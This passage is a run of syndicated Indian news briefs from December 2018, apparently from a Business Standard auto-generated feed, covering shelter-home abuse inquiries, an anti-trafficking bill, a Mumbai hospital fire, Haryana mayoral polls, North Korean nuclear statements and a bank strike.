girl managed to flee from her shelter home and informed authorities about the plight of the inmates, who were reportedly sexually abused by the couple running the home. Following that, police raided the facility and rescued 24 girls. Gandhi ordered auditing of all shelter homes in the country and according to the apex child rights body Commission for Protection of Child Rights over 3000 shelter homes have been inspected till now. The year also saw a topsy-turvy relationship between the ministry and child-care homes of Missionaries of Charity. Gandhi in July ordered all the states to get child-care homes run by the Mother Teresa-founded Missionaries of Charity inspected immediately, after cases of alleged illegal adoptions carried out by the homes came to light. But in October, she asked the Missionaries of Charity to "come back into" the government's system of adoption services after the latter left the system in 2015 over an ideological row on some issues. India's first comprehensive anti-trafficking bill seeking to deal with the crime from the point of prevention, protection and rehabilitation was approved in the Lok Sabha. The bill provides for confidentiality of victims, witnesses and complainants and time-bound trials and repatriation of the victims. It proposes to create institutional mechanisms at district, state and central levels. It calls for punishment ranging from 10 years of rigorous imprisonment and a fine not less than Rs one lakh. However, various groups pointed out that the bill does not mention terms like "sexual exploitation" or "prostitution" and is unfavourable towards the transgender community, because they are not conclusively covered under the bill. The government also tightened the noose on absconding NRI husbands by cancelling 33 passports of such people. The other measures proposed by the WCD Ministry included compulsory registration of all NRI marriages within seven days, failing which passports and visas would not be issued to the people involved. Another proposal was holding the properties of NRI offenders in escrow, in case they abscond abandoning their spouse. The WCD ministry also directed the Commission for Women to set up a dedicated cell to look into such cases. The year saw a number of initiatives under the Poshan Abhiyan, a programme launched with the aim to reduce the level of stunting, undernutrition, anaemia and low birth weight in children. Prime Minister announced increase of monthly honorarium for anganwadi workers and helpers. Anganwadi workers will be given Rs 4,500 per month instead of Rs 3,000, mini anganwadi workers will get Rs 3,500 from Rs 2,250 and anganwadi helpers will be given Rs 2,250 instead of Rs 1,500. The ministry directed all state governments to verify the number of children in the anganwadis of the country after Assam government found 14 lakh fake beneficiaries in the state. Since then, the verification of beneficiaries has been done in Uttar Pradesh and Maharashtra. There are around 14 lakh anganwadis across the country and 10 crore beneficiaries, which include children under the age of six and pregnant women and lactating mothers. In September, Gandhi had said about one crore fake beneficiaries registered in various anganwadis have been identified and eliminated. Physical torture of inmates in West Bengal, no medical aid for HIV patient in Odisha and no treatment for mentally challenged women in Uttar Pradesh were some of the key findings by the women's commission during inspections of shelter homes in these states. As 2018 comes to an end, the ministry has to deal with issues such as safety of women and children in shelter homes, verification of beneficiaries at anganwadis and passage of the anti-trafficking bill. The Maharashtra Industrial Development Corporation (MIDC) Thursday handed over a cheque of Rs 250 crore to the Maharashtra State Roads Development Corporation (MSRDC) for land acquisition of Samruddhi Highway that will connect Mumbai with Nagpur. Industries Minister Subhash Desai handed over the cheque to Public Works Minister Eknath Shinde in the presence of Chief Minister Devendra Fadnavis at Sahyadri gueshouse in south Mumbai. "Various institutions are making secondary nature of amount available for the land acquisition of the Nagpur Mumbai Samruddhi Highway. "The MIDC has already advanced an amount of Rs 1,000 crore to the MSRDC. It has further made available secondary funds worth Rs 250 crore to speed up the work of Samruddhi Highway," a government release stated. The 700-km expressway will connect the two key cities of Maharashtra. The Rs 49,247-crore venture, a pet project of Fadnavis, also envisages the development of various nodes along the expressway. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) An ascetic, associated with a charitable organization, has been arrested for rape attempt on a minor girl in Jharkhands East Singhbhum district, a senior police officer said. The 15-year-old girl, in her complaint, alleged misdeed on the part of the Bharat Sevashram Sangha (BSS) monk on December 18, he said. She, however, did not give details on the matter, the officer said. The teenager had recently come here from Jabalpur in Madhya Pradesh with his brother and sister in-law, Deputy Superintendent of Police Arvind Kumar noted. The girl had put up at BSSs Sonari complex with her relatives for 10 days before moving to a rented accommodation at nearby Kalganagar area. In her complaint, she said she had gone to the complex to visit a temple there, he noted. Her brother said that she was rescued from the monks bathroom. The complainants brother told police that the girl went missing for several hours on Wednesday. He and his wife then reportedly visited the premises of the BSS and found the girl in the monks bathroom, Kumar said quoting the FIR. The accused has been arrested and the girl sent for medical check-up, the DySP said. We have arrested the accused monk based on the complaint. More details will be available in the case once the medical report arrives, he said, adding that the Child Welfare Committee, East Singhbum, has also recorded the girls statement in connection with the case. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Punjab government Thursday entered into a Memorandum of Understanding (MoU) with the Airports Authority of India (AAI) for setting up of a new civil international air terminal at the IAF station Halwara in Ludhiana. The Punjab cabinet had given a go-ahead for signing of the MoU between the AAI and the government on December 3. The MoU was signed by Secretary Civil Aviation Tejveer Singh on behalf of the government of Punjab and Executive Director AAI G D Gupta on behalf of the AAI in the presence of the Punjab Chief Secretary Karan Avtar Singh and Guruprasad Mohapatra, Chairman, AAI, said an official spokesman. He said the project would be implemented through a Joint Venture Company (JVC) formed with the majority stake of 51 per cent of the AAI and 49 per cent stake of the state government thorough the Greater Ludhiana Development Authority (GLADA). Further, the AAI would bear all capital expenditure of development of the new airport, while the state government would provide 135.54 acres of land free of cost and free of all encumbrances for the project. The JVC would bear all expenditure on operation, management and maintenance including repairs, the spokesman said. It is expected that phase one of the project, that is development of new international civil enclave in 135.54 acres for full-fledged operations up to Code-4C type of aircraft, shall be completed within three years. The international airport at Ludhiana would not only be a commercially viable project and facilitate better air connectivity for passengers of the state but will have a spinoff economic benefit for the industries in the state, he said. Another MoU was signed between the Punjab government and the AAI Cargo Logistics and Allied Services Company Limited (AAICLAS), a wholly owned subsidiary of the AAI for operation and maintenance of the cargo terminal at Amritsar Airport, the spokesman said. As per the MoU, the AAI will take over the Centre for Perishable Cargo (CPC) facility at Amritsar airport which has been in-operational since 2013 and operate and manage it, he said. It will give a boost to agri-exports of Punjab and neighbouring states as cargo flights are expected to start in the near future, the spokesman said. The MoU was exchanged by MD Punjab Agro C Sibin and Keku Bomi Gazder, CEO AAI Cargo Logistics and Allied Services, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 65-year-old man Thursday succumbed to burn injuries he received in the hospital fire, bringing the total number of people killed in the tragedy to 10, an official said. Besides, 116 injured people, including some children and firemen, were undergoing treatment in seven hospitals across the city, he said. Kisan Naravade died at the Holy Spirit Hospital in suburban Andheri due to burn injuries. With this, the death toll in the tragedy rose to 10, the official of the city civic body's disaster management cell said. He said 53 patients were so far discharged. The fire broke out in the government-run ESIC Kamgar Hospital at Marol in suburban Andheri Monday, killing six people that day. The death toll rose to eight Tuesday, with two more persons dying in different hospitals. The 325-bed hospital did not have the fire department's no-objection certificate (NOC), mandatory for such institutes to function. Nearly 375 people, including patients and visitors, were in the five-floor hospital when the fire broke out, an official had earlier said. The blaze appeared to have erupted after a short-circuit near the rubber rolls stored on the ground floor, he had said. Maharashtra Chief Minister had Tuesday ordered a probe into the incident and the Union Labour Ministry had announced compensation for the victims. North Korea said Thursday it will never unilaterally give up its nuclear weapons unless the United States removes its nuclear threat first, a statement that raises further doubts on whether leader Kim Jong Un will ever relinquish an arsenal he may see as his greatest guarantee of survival. The statement carried by the official Korean Central Agency came amid a deadlock in nuclear negotiations between the United States and North Korea over the sequencing of the denuclearization process and removal of international sanctions. Kim and President Donald Trump met June 12 in Singapore where they issued a vague goal for the "complete denuclearization" of the Korean Peninsula without describing when and how it would occur. But North Korea for decades has been pushing a concept of denuclearization that bears no resemblance to the American definition, vowing to pursue nuclear development until the United States removes its troops and the nuclear umbrella defending South Korea and Japan. In Thursday's statement, the North reiterated its traditional stance on denuclearization and accused Washington of misleading what had been agreed on in Singapore. "The United States must now recognize the accurate meaning of the denuclearization of the Korean Peninsula, and especially, must study geography the right way," the statement said. "When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the complete denuclearization of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighboring the Korean Peninsula," the statement said. The U.S. removed its tactical nuclear weapons from South Korea in the 1990s. The nuclear negotiations between Washington and Pyongyang stalled since the Trump-Kim meeting. The United States wants North Korea to provide a detailed account of nuclear and missile facilities that would be inspected and dismantled under a potential deal, while the North is insisting that sanctions be lifted first. The North Korean statement came a day after Stephen Biegun, the Trump's administration's special envoy on North Korea, told reporters in South Korea that Washington was reviewing easing travel restrictions on North Korea to facilitate humanitarian shipments to help resolve the impasse in nuclear negotiations. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The newly elected BJP mayors of five cities of Haryana Thursday talked about their priorities, with the youngest mayor calling for decongestion of the voluminous traffic passing through Panipat. The ruling Bharatiya Janata Party (BJP) had on Wednesday swept the mayoral elections in Panipat, Hisar, Karnal, Yamunanagar and Rohtak. Among the winning candidates are two women-- 25-year-old Avneet Kaur from Panipat, the youngest mayor, and 48-year-old Renu Bala Gupta from Karnal. Avneet had registered a massive victory over her nearest rival Anshu Kaur, who was backed by a local Congress leader. The BJP candidate won by a huge margin of 74,940 votes. Spelling out her priorities after the win, Avneet said Thursday, "My priorities will be to work towards decongesting the voluminous traffic of Panipat. Among other tasks are covering Panipat's drain number 1". "We will also hold municipal corporation meetings after every 15 days wherein problems relating to the wards will be discussed," she said. About holding the first direct elections for mayor's post, Avneet said, "It will help mayors focus more on the tasks at hand. The focus will also be towards development as against in the past when some councilors used to indulge in leg-pulling". For Renu Bala Gupta, who won from Chief Minister Manohar Lal Khattar's home constituency of Karnal, the focus will be on continuing the ongoing development works. Gautam Sardana (43), who won from Hisar, said among his priorities will be to provide better health facilities and installing CCTV cameras to curb crime. While 68-year-old Manmohan Goyal will focus on cleanliness and hygiene issues in Rohtak city, his counterpart from YamunanagarMadan Chauhan (52) will work towards solving sewerage and traffic issues in his area. On BJP winning the mayoral polls, the chief minister had termed it as an "endorsement of the policies and development agenda of the government". It was the first time the mayors of the five municipal corporations were elected directly. Earlier, councillors used to elect the mayors. The saffron party had also put up an impressive performance as many councilors who fought on the party symbol won the seats. From Yamunanagar, 13 of its nominees were elected as councilors in the 22-member Municipal Corporation (MC) House, while in Karnal the party won 12 of 20 corporation wards. In Panipat, the BJP made a clean sweep winning 22 of the total 26 wards. However, in Hisar, the ruling outfit managed to win just seven of the 20 wards and also fell short of majority in the 22-member Rohtak MC House. Polls were also held to two municipal committees. Women candidates outshone their male counterparts in Jakhal and Pundri municipal committees. Out of 26 councillor seats, with 13 each in both the committees, 16 were bagged by women, all Independents. No party had fought these polls on party symbol. The election was seen as a "battle of prestige" for the chief minister who had campaigned extensively for the same. There are 10 municipal corporations in the state and the polls were earlier held in Gurugram and Faridabad. The municipal polls are yet to be held in Sonipat, Panchkula and Ambala due to delimitation exercise and related litigation. Though opposition Congress did not contest the polls, some of its leaders extended support to Independents for the mayoral polls. The INLD-BSP combine, which was contesting some of the mayoral seats on their party symbols, faced a severe beating and was even behind the Independents. Opposition parties had also targeted the chief minister for allegedly playing the "Punjabi" card to woo the urban voters in these polls. However, Khattar has maintained, "We are committed to development of the entire state, from day one we have said 'Haryana Ek, Haryanvi Ek', this is the mantra we believe in. People belong to different castes, but we do not discriminate on the basis of caste, we treat all as one". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The National Human Right Commission (NHRC) has issued notices to Defence secretary and Pune Police commissioner and sought their replies in connection with alleged rape of a 34-year-old woman employee of a military hospital in Pune district of Maharashtra in 2015, said an activist. Human rights activist Jayesh Rajpurohit, who had lodged a complaint with the NHRC based on media reports, said the commission has taken cognisance of his plea. The NHRC issued notices on December 18 and sought a compliance report as per section 166 (A) of the IPC in four weeks, he added. On October 16, the Pune Police booked four Army personnel for allegedly raping the 34-year-old speech-and hearing-impaired woman employee of the military hospital. The alleged offence took place between January and June 2015 at the hospital in Pune's Khadki suburb. The woman had been working at the facility since 2014. "According to the woman's complaint, she was on night duty (at the hospital) when she was allegedly raped by one of the accused, who at the time was posted at the hospital," a senior police official had said. "When the survivor told another personnel about the incident, he initially told her that he would reprimand the accused. But he too sought sexual favours from her by threatening her to make the message viral, and allegedly raped her. After some days, two more personnel approached the woman and allegedly took advantage of her," he had said. The woman, a class IV employee at the hospital, had approached an NGO in Indore, Madhya Pradesh, earlier this year about her plight. The NGO subsequently approached the Indore police. On October 16, the Indore Police informed their Pune counterpart about the matter, which registered a case against the four personnel under IPC sections 376 (rape) and 354 (molestation). Besides the police, the army too is conducting a 'court of inquiry' against the four personnel, who also worked in the same military hospital at the time. An official of the Army's Southern Command had said they were conducting an inquiry into the matter. "The court of inquiry was initiated well before the police complaint was registered," he had said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Niti Aayog has pitched for a pan-India exam to select cadre for the lower judiciary, saying it will attract young and bright law graduates and enhance accountability in the governance system. The think tank Wednesday came out with a national strategy for new India, which defines objectives for 2022-23. "An all-India judicial services examination on a ranking basis can be considered to maintain high standards in the judiciary. The selection process may be entrusted to the Union Public Service Commission (UPSC) for a cadre of lower judiciary judges, Indian Legal Service (both centre and states), prosecutors, legal advisors, and legal draftsmen," it said. The report claimed that the move will attract young and bright law graduates and help build a new cadre "that can enhance accountability in the governance system". The report suggested introduction of an administrative cadre in the judicial system to streamline processes. "To maintain judicial independence, the cadre should report to the Chief Justice in each High Court," it said. There are 24 high courts in the country. The think tank said, a performance index for judges should be considered and a separate state-wise index for "ease of getting justice" should be prepared. It said there is a need to facilitate the availability and usage of video-conferencing facilities to assist in speedy access to justice and to minimise logistical issues. "At present, even the available video-conferencing facilities are not utilized optimally," it said. The government has in the past proposed an all-India judicial service. But nine high courts have opposed the proposal to have an all-India service for lower judiciary. Eight others have sought changes in the proposed framework and only two have supported the idea. The Narendra Modi government has given a fresh push to the long-pending proposal to set up the new service to have a separate cadre for lower judiciary in the country. The idea was first mooted in the 1960s. Seeking to overcome the divergence of views, the government had recently suggested to the Supreme Court various options, including an NEET-like examination to recruit judges to the lower judiciary. National Eligibility cum Entrance Test (NEET) is conducted for admission to medical colleges. There were vacancies of 4,452 judges in subordinate courts in the country as per the figures released on December 31, 2015. While the sanctioned strength is 20,502, the actual number of judges and judicial officers in subordinate courts is 16,050. At present, various high courts and state service commissions hold exams to recruit judicial officers. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Jharkhand government has assured the National Tribal Commission that people living in villages within the Palamau Tiger Reserve area, will not be displaced without their consent, officials said Thursday. The assurance came after the Chairman of the National Tribal Commission (NTC), Nand Kumar Sai, expressed his concern over reported displacement of people from certain villages located inside the PTR area. "No one will be removed from the villages without their will," an official release quoting Jharkhand Chief Secretary Sudhir Tripathi as saying. Sai, who was here on Wednesday, had said that people from villages should not be displaced before making alternative arrangements. The government's focus is on integrated development of the tribes, Tripathi said, adding, they are being covered under various schemes such as the Ujjwala scheme, Saubhagya scheme, Jan Dhan scheme and Indradhanush scheme. The Palamau Tiger Reserve was established in 1972. According to officials of the forest department, 15 villages near the reserve have to be evacuated following construction of Mandal dam on North Koel river. The villagers are not ready to vacate their villages, the forest officials said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Noida Police arrested two more persons Thursday in connection with a school wall collapse here four days ago in which two students were killed and three others were injured, officials said. Amit Bhati, owner of the New KM Public School, and Mohammed Asgar, a JCB operator, have been arrested. The two were among the six named in an FIR over the incident that took place on Monday in Salarpur village, police said. "Two of the accused were arrested today by officials from Sector 49 police station. One of them is the owner of the school, while the other is the JCB operator. The principal (Sanjeev Jha) of the school has already been arrested and police would soon nab the other three accused," Superintendent of Police, Noida City, Sudha Singh said. According to officials, the "poor and deteriorated" wall of the school had come crashing down on the students due to the impact of construction work, involving heavy machinery, in an adjoining plot. The families of the deceased children, aged 10 and 7 years, had blockaded a road in protest and demanded compensation. Uttar Pradesh Chief Minister Yogi Adityanath had ordered a magisterial-level probe into the matter. The other accused include the school's manager Raghvendra Solanki, Amit Bhati's relative Deshraj Bhati and Sumit Bhati (Deshraj's son), police said. The adjoining plot, where the construction work was underway allegedly without approval from local authorities, was owned by Deshraj, they said. The accused have been charged under Indian Penal Code sections 304 (culpable homicide not amounting to murder), 338 (causing grievous hurt by act endangering life or personal safety of others), and for cruelty against children under the Juvenile Justice (Care and Protection of Children) Act, 2015, SHO, Sector 49 police station, Girija Shankar Tripathi said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : Two men, stated to be RSS workers, were arrested Thursday in connection with a case related to vandalising of the Nair Service Society (NSS) office in Alapuzha district, a senior police official said. Offices of the NSS, a body of the influential Nair community in the state, which was spearheading the stir over entry of menstrual age women into Sabarimala shrine,came under attack at different places in the first week of November. A black flag was hoisted and a wreath, on which was written a condolence message in the name of NSS general secretary G Sukumaran Nair, was placed at the flag post. "We have arrested two men in connection with the attack and vandalisation of the NSS office at Kudassanadu. We have examined CCTV visuals of the locality. There was an attempt to mislead the probe team, including the dog squad," a senior police officer told PTI. Vikraman Nair (48) and Sreejith (22), were arrested Thursday. Another accused, Mahesh, was absconding, he said. He claimed that the duo were RSS workers and said they have been booked under Section 153(A) of the Indian Penal Code. The section deals with the act of promoting enmity between different groups on grounds of religion, race, place of birth, residence, language and doing acts prejudicial to maintenance of harmony. NSS office-bearers had claimed that the attacks were by certain "frustrated elements" desperate after seeing the 'mass' participation of people in the protest against the Supreme Court's September 28 verdict, allowing entry of women of all ages into the Lord Ayyappa temple in Sabarimala. The NSS has filed a petition, seeking a review of the the apex court lifting the ban on entry of women in the 10-50 age group into the famous temple. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The ABVP Thursday accused the NSUI of not allowing the Delhi University Students' Union to function and making false allegations against them. The Akhil Bharatiya Vidyarthi Parishad's remarks came a day after the NSUI alleged that DUSU president Shakti Singh, a member of the BJP's student wing, entered the office of the union's president by breaking its lock and abusing officials and security staff. Terming the matter contempt of court, the National Students' Union of India (NSUI) said they will file a complaint with the Delhi University authorities in the matter. However, the Delhi High Court had Tuesday dismissed a plea by Congress-backed NSUI leader Sunny Chillar challenging the election of DUSU ex-president Ankiv Baisoya for allegedly furnishing a fake bachelor's degree to get admission in the university. The charge by the NSUI has been denied by the ABVP, saying it was hindering its work. "The NSUI has been posing difficulties in our work in the DUSU. The varsity administration has also displayed a biased attitude. We had sent letters around one and a half months ago to meet the vice-chancellor but we did not get any reply. "However, DUSU secretary, who is an NSUI member, got an appointment to meet the vice-chancellor," the ABVP said. Singh, who was vice president in the DUSU assumed office of the president Tuesday, has written four letters to the varsity authorities over different issues. In two separate letters written to the varsity proctor and DUSU advisor, Singh said the administration was sleeping and there has been unnecessary delay in him getting the president's post. "Due to the DUSU president's post lying vacant for a long time, many students' issues have not been addressed. The students are disappointed with the varsity administration over this delay and might resort to violent means, for which we should not be held responsible," he said in the letters dated December 20. The Delhi University had cancelled admission of Baisoya on November 14 after receiving a letter from the Thiruvalluvar University, confirming that his bachelor's degree was fake. Baisoya was also suspended from the ABVP and an inquiry into allegations that he got admission in the varsity on the basis of a fake marksheet was ordered. Police have also registered an FIR in the case. The DUSU elections were held in September. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Barack Obama, donning a Santa Claus hat and a bulging sack slung over his shoulder, made a surprise visit to a children's hospital here and delivered gifts to young patients ahead of Christmas. The former US president visited the young patients at the Children's National Hospital in Washington on Wednesday. First on his list was a group of patients 4 and up who were making snowflakes in one of the hospital's playrooms, The Washington Post reported. The 57-year-old handed out jigsaw puzzles Hot Wheels sets, remote-control cars, and glittery nail polish, among other goodies collected by Obama and his staffers. "I just want to say thank you to all of you guys," Obama told the hospital staff, who greeted him with rapturous cheers, in a video he shared on his Twitter account. "We've had the chance to talk to some of the wonderful kids and their families," he said in the video, which has gone viral with over 242,000 likes. "As the dad of two girls, I can only imagine in that situation to have nurses and staff and doctors and people who are caring for them, and looking after them... that's the most important thing there is," he said. The 44th US president also dropped by individual patient rooms for one-on-one visits with children and their parents. He gifted one 12-year-old patient who was nervous about heading to high school next year a piece of advice: "Even the cool kids don't have it all figured out." "Thank you @BarackObama for making our patients' day so much brighter. Your surprise warmed our hallways and put smiles on everyone's faces! Our patients loved your companyand your gifts!" the Children's National Hospital tweeted. "I know they will be talking about it for years to come," said Kurt Newman, chief executive and president of Children's National Health System. "At such a busy time of year, when no one wants to be in the hospital, his natural warmth lifted the spirits of those kids, their parents and of each staff member he met along the way," the Post quoted Newman as saying. Before leaving, Obama thanked the staff for working during the holidays and recorded a video message to be played on the hospital's internal TV system for those he was not able to visit during the trip. "Merry Christmas and happy holidays to the extraordinary kids, families, and staff at Children's National. And thanks for humouring me as your stand-in Santa," Obama tweeted later. Only a handful of the Children's National staff knew that the president was coming to town, but word spread quickly during the 90-minute visit. By the time he was headed for the door, a crowd had gathered at a nearby nursing station. The group of doctors, residents and nurses cheered for Obama before busting into an impromptu rendition of "We Wish You a Merry Christmas." Obama, who demitted office in 2017 after serving two terms, lives in Washington. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Customs officials seized over 4,000 live 'red eared slider turtles' from two Indian passengers who arrived from Bangok at the airport here Thursday. Air Intelligence Unit officials, who checked the two passengers, found them carrying 2,300 turtles each in their checked-in baggage, a Customs release here said. Red Eared slider turtles are an invasive species and can cause negative impact on the ecosystem and is already banned by the European Union and other countries as well, according to the release. The turtles were ordered for re-export to the country of origin (Thailand) and the two persons fined Rs one lakh each, it added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pakistan on Thursday issued the revised lists of goods, technologies and equipment related to nuclear and biological weapons that needed official permission for exports. The list was issued under the Export Control Act of 2004, which enables the government to control export, re-export, trans-shipment and transit of goods, technologies, material and equipment related to nuclear and biological weapons and their delivery systems, the Foreign Office said in a statement. Pursuant to the export control on goods, technologies, material and equipment related to Nuclear and Biological Weapons and their Delivery systems Act 2004, the Government of Pakistan has notified revised control lists of goods, technologies, material and equipment that are subject to SECDIV license for export, the statement said.. The FO also said that as part of regular review process, the Strategic Export Control Division (SECDIV) of the Ministry of Foreign Affairs revised and updated the control lists, in consultation with other relevant ministries and departments. The lists were originally notified in 2005 and subsequently revised in 2011, 2015 and 2016. The FO said the revised control lists were harmonised with the standards and lists of international export control regimes i.e. the Nuclear Suppliers Group, the Missile Technology Control Regimes and the Australia Group. It incorporates the latest changes and updates made by these export control regimes. The notification signifies the continuing resolve and policy of Pakistan as a responsible nuclear state to advance the shared goals of non-proliferation and strictly adhere to its commitments, the FO said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Palestinian man in the West Bank was killed by Israeli army fire late Thursday, the Palestinian health ministry said. An Israeli army spokesman confirmed to AFP that "soldiers opened fire in the direction of a vehicle which was attempting to break through a military barrier in the Ramallah region, killing one of the occupants". Earlier the army reported another incident in the same area in which Palestinian gunmen opened fire towards a bus station, without causing any injuries. The two incidents took place in the north of Ramallah where Palestinians attacks on December 9 and December 13 left three people dead - two Israeli soldiers and a baby born prematurely after its mother was badly injured. Israeli forces are hunting for those behind the earlier attacks, which shattered months of relative calm in the West Bank. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A city-based industrialist was shot dead while his driver was left critically injured in broad daylight in Vaishali district on Thursday, right across the river Ganges, an official said. Gunjan Khemka (32) - who was also the convenor of the Bihar BJP's small industries cell, was sprayed with bullets while he was approaching his factory in Hajipur, the headquarter of Vaishali where he owned a factory, Superintendent of Police Manavjit Singh Dhillon said. He said as per eyewitness accounts, the industrialist was attacked by a motorcycle-borne assailant who sped away after opening fire. While Khemka died on the spot, his driver has been admitted to the Hajipur Sadar hospital where his condition was stated to be critical, the SP said adding that further investigations were on. Reacting to Khemka's killing, BJP spokesman Nikhil Anand said "the cold-blooded murder of our very dear friend and party colleague has left us shell-shocked.....the murder of Gunjan is surely connected with lapses and failure of local police and administration.....the Chief Minister must take the police and administration to task and ensure the killers are severely punished". Anand, whose party is an alliance partner in the Nitish Kumar government, however clarified that he was issuing the statement in his "personal capacity" as he felt "demoralised over the loss of a personal friend". Leader of the opposition in the state assembly Tejashwi Yadav tweeted "the consequence of Bihar Deputy CM Sushil Modi begging before criminals with folded hands can now be seen on a daily basis. A prominent businessman of Bihar has been gunned down by AK 47 toting criminals who enjoy the patronage of the powers that be". The RJD leader was referring to a controversial gesture by Modi during the "Pitri Paksh" festival at Gaya when he had urged anti-social elements to give up their activities for the 15-day-period when the Bihar town is visited from people across the world. Yadav also took potshots at the Chief Minister, calling him - sarcastically - "Sushasan babu" (Mr Good Governance) and terming his rule as "kanoon ka aatank raj" (the lawful reign of terror". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Captain of Pune7Aces Mathias Boe Thursday asserted his side will be a strong contender to win the Premier Badminton League (PBL). The next season of the PBL begins here Saturday. "It will be an exciting season and I am looking forward to it. "We have a very balanced side with youth complimenting experience and I am sure that we will be a very strong contender for the title,"Boe, a doubles specialist, was quoted as saying in a media release issued by the franchise. Boe along with icon player and reigning Olympic champion Carolina Marin were present during the unveiling of the outift's new team jersey in the presence of Bollywood star and co-owner Taapsee Pannu at Phoenix Market City in Kurla. Marin, the icon player of Pune7Aces, said she was looking forward to her match against ace Indian shuttler P V Sindhu. "I am excited to join Pune7Aces for PBL. India has always been a great experience and I am really happy to be back. I am looking forward to my first match against PV Sindhu," the Spanish badminton player said. The Team: Mathais Boe (Capt.), Carolina Marin (icon), Chirag Shetty, Valdimir Ivanov, Line Kjaersfeldt, Lakshya Sen, Brice Leverdez, Harsheel Dani, Ajay Jayaram and Prajakta Sawant. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister will inaugurate IIT-Bhubaneswar on Monday as also a basket of projects involving a cumulative investment of over Rs 145.23 billion in Odisha, Oil Minister Dharmendra Pradhan said Thursday. The prime minister is to visit Bhubaneswar on December 24. "The investment is a continuation of the special focus on the state by the central government under Prime Minister's vision of Purvodaya which envisions rapid socio-economic development in states like Odisha to unleash their true potential and bring them at par with the most developed states in the country," he said. The projects include foundation laying of Paradip- Hyderabad petroleum products pipeline of Indian Oil Corp (IOC) at a cost of Rs 38 billion. A Rs 34.37 billion pipeline from Bokaro to Angul is also planned to connect to the Jagdishpur-Haldia and Bokaro-Dhamra lines. He will also lay foundation stone for construction of permanent campus of Indian Institute of Science Education and Research (IISER) at Berhampur (Rs 1,583 crore). Besides, the prime minister will inaugurate six laning of Chandikhole-Bhadrak section of NH-5 (Rs 14.92 billion), four laning of Cuttack-Angul Section of NH-42 (Rs 19.91 billion), six laning of Bhubaneswar-Puintola section of NH-5 of 132.14 km and an ESIC hospital in Bhubaneswar, among others. After the inauguration of the projects, Modi is likely to address a public rally in Khordha. President Ram Nath Kovind would arrive here Friday for a four-day customary southern sojourn. Kovind would arrive Friday evening for the visit, official sources said Thursday. During his visit, the President would stay at Rashtrapati Nilayam in the city, one of the Presidential Retreats, from December 21 to 24, according to an official release. The President will attend a programme at Karimnagar on December 22. He will host a 'At Home' at the Rashtrapati Nilayam on December 23, the release had said. Kovind would return to Delhi on December 24. It is customary for the President to visit Rashtrapati Nilayam and stay there at least once a year and conduct official business from the Nilayam. Located at Bolarum, Rashtrapati Nilayam building was taken over from the Nizam of Hyderabad after India attained independence and handed over to the President's Secretariat. Constructed during 1860, the building has a total land area of 90 acres. A single storied building, it contains in its premises 11 rooms. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) President Ram Nath Kovind will be reaching Secunderabad on Friday for a four-day southern sojourn during which he will inaugurate a Centre of Excellence for Sickle Cell Anaemia and other genetic blood disorders at a medical institute. During his visit, he will stay at the Rashtrapati Nilayam, a single-storied building located at Bolarum which serves as Presidential Retreat. The President will visit the Prathima Institute of Medical Sciences in Karimnagar to inaugurate the Centre of Excellence for Sickle Cell Anaemia, Thalassemia and other Genetic Blood Disorders on December 22, an official release said. He will also host an 'At Home' reception at the Rashtrapati Nilayam for senior dignitaries of the state, ministers, officials, leading citizens and academics on December 23. The Rashtrapathi Nilayam building was taken over from the Nizam of Hyderabad after India attained independence and handed over to the President's Secretariat. Constructed during 1860, the Nilayam has a total land area of 90 acres and a single-storied building containing 11 rooms. The President visits the Rashtrapathi Nilayam and stays there at least once a year and conducts official business from there. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A union of public sector bank officers has called for a strike on Friday, demanding immediate wage revision and protesting merger of the state-owned banks. The strike call given by the All India Bank Officers' Confederation (AIBOC) expected to hit banking operations across the country. However, private sector banks would continue their usual business as they are not part of the strike. Most of the banks have already informed their customers about the strike and its impact on their normal banking operation. The United Forum of Bank Unions (UFBU), an umbrella body of the top nine bank unions, has also decided to observe a strike on December 26. Taking into account these two days of unions' strike and other holidays, banks would be closed for most of the extended Christmas weekend. So, most bank branches will be open only for a day between this Friday and next Wednesday. Till December 26, there are three holidays -- fourth Saturday on December 22, then Sunday and then Christmas on Tuesday. AIBOC joint general secretary Ravinder Gupta said, "We have demanded wage revision based on the minimum wages formula without linking to profits or paying capacity." Besides, the union has also opposed the proposed merger Bank of Baroda, Dena Bank and Vijaya Bank. As of now many major banks have not given the mandate, few banks have given mandate to IBA for negotiating only upto Scale III officers, said Charanjit deputy general secretary Canara Bank Officers' Association, an affiliate of AIBOC said. Such fractured mandate will be resulting in deep cut of allocated funds meant for distributing among the various heads of pay slip components, Gupta said. As the allocated funds would be the agreed percentage of total pay slip components of up to scale III in respect of those banks which have given mandate and not the pay slip components of the entire industry of all the cadres including workmen, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Punjab chief wildlife warden is examining the matter pertaining to a stuffed black partridge brought by state cabinet minister Navjot Singh Sidhu from Pakistan, for initiating appropriate action. The stuffed black partridge bird trophy was reportedly gifted to Sidhu by a Pakistani journalist when he had gone to attend the ground-breaking ceremony of the Kartarpur corridor last month. When Sidhu came back to India, he gifted the bird trophy to Chief Minister Amarinder Singh who handed it over to the Punjab chief wildlife warden, asking if he could keep it or should it be given to be used for educational or wildlife awareness purposes. Meanwhile, two animal activists lodged a complaint with the Wildlife Crime Control Bureau, seeking action against Sidhu for allegedly possessing 